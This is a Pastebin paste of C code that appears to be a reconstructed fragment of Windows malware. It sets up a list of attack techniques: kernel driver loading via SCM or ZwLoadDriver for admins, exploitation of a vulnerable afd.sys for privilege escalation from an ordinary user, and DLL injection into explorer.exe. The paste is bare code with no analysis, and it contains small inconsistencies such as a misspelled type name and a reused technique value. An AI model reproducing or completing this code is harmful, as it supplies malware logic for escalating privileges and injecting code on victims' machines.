Advertisement
Guest User

Untitled

a guest
Mar 28th, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.58 KB | None | 0 0
  1. typedef struct _avtr_listelem
  2. {
  3. struct _avtr_listelem* next;
  4. struct _avtr_listelem* prev;
  5. DWORD technique; /*0x08*/
  6. DWORD privilege_value; /*0x0C*/
  7. DWORD n_tries; /*0x10*/
  8. DWORD milliseconds; /*0x14*/
  9. } avtr_listelem, *pavtr_listelem;
  10.  
  11. pavtr_listelem gList;
  12. int gElemCount;
  13.  
  14. BOOL Avtr_setup_list()
  15. {
  16. pavtr_listelem Elem = NULL;
  17. DWORD privilege_value_val;
  18. if ( IsAdmin )
  19. {
  20. /*appends element at the end of the list or initializes the list head (gList) if it's NULL*/
  21. Elem = List_appendElem(&gList,sizeof(avtr_listeelem),&gElemCount,hHeap);
  22.  
  23. if ( Elem )
  24. {
  25. if ( ! gList )
  26. {
  27. gList = Elem;
  28. }
  29. Elem->technique = 0x80000000; //SCM or ZwLoadDriver
  30. Elem->privilege_value = 2; //Administrator
  31. Elem->n_tries = 1;
  32. Elem->milliseconds = 30000;
  33. }
  34.  
  35. }
  36. if ( Avtr_isVulnerable("afd.sys",2011,10) )
  37. {
  38. Elem = List_appendElem(&gList,sizeof(avtr_listeelem),&gElemCount,hHeap);
  39. if ( Elem )
  40. {
  41. if ( ! gList )
  42. {
  43. gList = Elem;
  44. }
  45. Elem->technique = 0x80000000;//afd.sys vulnerability
  46. Elem->privilege_value = 1;//ordinary user
  47. Elem->n_tries = 1;
  48. Elem->milliseconds = 30000;
  49. }
  50. }
  51. if ( IsAdmin )
  52. {
  53. privilege_value_val = 2;
  54. }
  55. else if ( ServicePackMajor_defined >= 8 ) ////Vista and above
  56. {
  57. privilege_value_val = 0x80000002;
  58. }
  59. else
  60. {
  61. goto ret;
  62. }
  63.  
  64. Elem = List_appendElem(&gList,sizeof(avtr_listeelem),&gElemCount,hHeap);
  65. if ( ! gList )
  66. {
  67. gList = Elem;
  68. }
  69. Elem->technique = 0x80000001;//explorer.exe DLL injection
  70. Elem->privilege_value = privilege_value_val;
  71. Elem->n_tries = 1;
  72. Elem->milliseconds = 30000;
  73.  
  74. ret :
  75. return (gElemCount > 0);
  76.  
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement